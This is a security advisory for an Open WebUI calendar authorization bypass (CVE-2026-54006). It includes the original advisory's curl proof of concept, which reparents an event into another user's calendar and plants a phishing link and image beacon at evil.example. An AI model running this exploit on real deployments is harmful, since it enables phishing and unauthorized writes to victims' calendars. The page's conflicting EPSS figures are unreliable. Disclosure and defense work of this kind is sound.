CVE-2026-54006: open-webui: auth bypass allows cross-user calendar injection

GHSA-f3g7-59qc-pqg6 MEDIUM
Published June 17, 2026
CISO Take

Open WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.

Sources: NVD GitHub Advisory EPSS ATLAS

What is the risk?

Medium risk overall, elevated for multi-user enterprise Open WebUI deployments where users have mixed trust levels. Exploitation requires only a valid user-role account and knowledge of the target's calendar UUID, obtainable through any legitimate calendar-sharing or event-attendee workflow. No privilege escalation beyond the initial account is needed. The attack surface is the default configuration with both ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR defaulting to True. The immediate impact is HTML injection rather than RCE or data exfiltration: DOMPurify strips script execution but permits formatted anchor tags and img beacons, enabling phishing and silent read-receipt tracking at scale. Not a breaking-alert candidate absent confirmed active exploitation.

How does the attack unfold?

Initial Access
Attacker authenticates to the Open WebUI instance using a valid low-privilege user-role account, either their own or a compromised one.
AML.T0012
Reconnaissance
Attacker obtains the target user's calendar UUID via a legitimate read-only calendar share, an event-attendee API payload, or any observable side-channel such as browser logs or screen capture.
AML.T0049
Exploitation
Attacker creates a phishing event in their own calendar (passes source ACL), then immediately calls the update endpoint with the victim's calendar_id in the body; the missing destination ACL check allows unconditional persistence of the new calendar_id.
AML.T0049
Impact
Victim encounters a high-credibility phishing event with embedded malicious links and img-beacon tracking in their own private calendar, enabling credential theft, session hijacking, or user harm with no external-invite warning.
AML.T0048.003

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.5 0.9.6
141.4K Pushed 4d ago 76% patched ~4d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
4.3 / 10
EPSS
0.0%
chance of exploitation in 30 days
Higher than 6% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C None
I Low
A None

What should I do?

4 steps
  1. Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id.

  2. Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete.

  3. Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar.

  4. Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.6.2 - Information security in AI systems
NIST AI RMF
MANAGE 2.4 - Residual risks are managed and monitored
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-54006?

Open WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.

Is CVE-2026-54006 actively exploited?

No confirmed active exploitation of CVE-2026-54006 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54006?

1. Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id. 2. Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete. 3. Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar. 4. Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.

What systems are affected by CVE-2026-54006?

This vulnerability affects the following AI/ML architecture patterns: self-hosted LLM chat interfaces, multi-user AI workspaces, enterprise LLM deployment platforms.

What is the CVSS score for CVE-2026-54006?

CVE-2026-54006 has a CVSS v3.1 base score of 4.3 (MEDIUM). The EPSS exploitation probability is 0.02%.

What is the AI security impact?

Affected AI Architectures

self-hosted LLM chat interfacesmulti-user AI workspacesenterprise LLM deployment platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0012 Valid Accounts
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application
AML.T0052 Phishing

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: MANAGE 2.4
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

### Summary `POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally. A regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`. ### Details ### Sink — missing destination check `backend/open_webui/routers/calendar.py:283-297` ```python @router.post('/events/{event_id}/update', response_model=CalendarEventModel) async def update_event( request: Request, event_id: str, form_data: CalendarEventUpdateForm, user: UserModel = Depends(get_verified_user) ): await check_calendar_permission(request, user) event = await CalendarEvents.get_event_by_id(event_id) if not event: raise HTTPException(status_code=404, detail='Event not found') await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id ... ``` `backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`) ```python update_data = form_data.model_dump(exclude_unset=True) for field in [ 'calendar_id', # ← destination persisted with no ACL 'title', 'description', 'start_at', 'end_at', 'all_day', 'rrule', 'color', 'location', 'is_cancelled', ]: if field in update_data: setattr(event, field, update_data[field]) ``` ### Reference — `create_event` does check the destination `backend/open_webui/routers/calendar.py:255` ```python await _check_calendar_access(form_data.calendar_id, user, 'write') ``` ### Default-config gates (both `True`) - `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'` - `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'` - `backend/open_webui/main.py:1457` — router mounted unconditionally ### PoC Verified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts. #### 1. Environment ```bash git clone https://github.com/open-webui/open-webui.git cd open-webui && docker compose up -d # http://localhost:3000 ``` Create the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`. #### 2. Obtain the victim's `calendar_id` Calendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via: - **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`. - **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`. - Any side-channel (logs, screenshots, browser history). For reproduction the maintainer can simply read it as the victim: ```bash VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') ``` #### 3. Control — direct create is correctly blocked ```bash curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" # → 403 ``` #### 4. Exploit — create-then-reparent ```bash ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') # 1. create in own calendar EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])') # 2. move into victim's calendar — NO destination check curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}" # → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>" ``` #### 5. Verification from victim's session ```bash curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool ``` Observed output (truncated): ```json [{ "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0", "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb", "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5", "title": "[INJECTED] Mandatory re-auth: https://evil.example/login", "description": "Session expired.", ... }] ``` The injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination. ### Impact - **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write. - **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

Exploitation Scenario

An insider or attacker holding a compromised standard user-role account receives a legitimate calendar-share notification from a target colleague, which exposes the target's calendar UUID in the GET /api/v1/calendars/ API response. The attacker crafts a calendar event with a title such as 'Action Required: LLM API Key Rotation' and a location field containing a phishing anchor tag and an img beacon pointing to an attacker-controlled server. They first POST to /api/v1/calendars/events/create with their own calendar_id—which passes the correct ACL check and returns 200 with an event_id. They immediately POST to /api/v1/calendars/events/{event_id}/update with the victim's calendar_id as the body payload. The update endpoint validates only the source calendar write access, persists the destination calendar_id unconditionally, and returns 200. The event now lives in the victim's private calendar. A subsequent GET by the attacker returns 403, confirming a stealthy transfer with no ongoing attacker visibility. The victim encounters the phishing event with no external-invite banner, dramatically increasing click-through likelihood.

Weaknesses (CWE)

CWE-639 — Authorization Bypass Through User-Controlled Key: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

  • [Architecture and Design] For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • [Architecture and Design, Implementation] Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Timeline

Published
June 17, 2026
Last Modified
June 17, 2026
First Seen
June 17, 2026

Related Vulnerabilities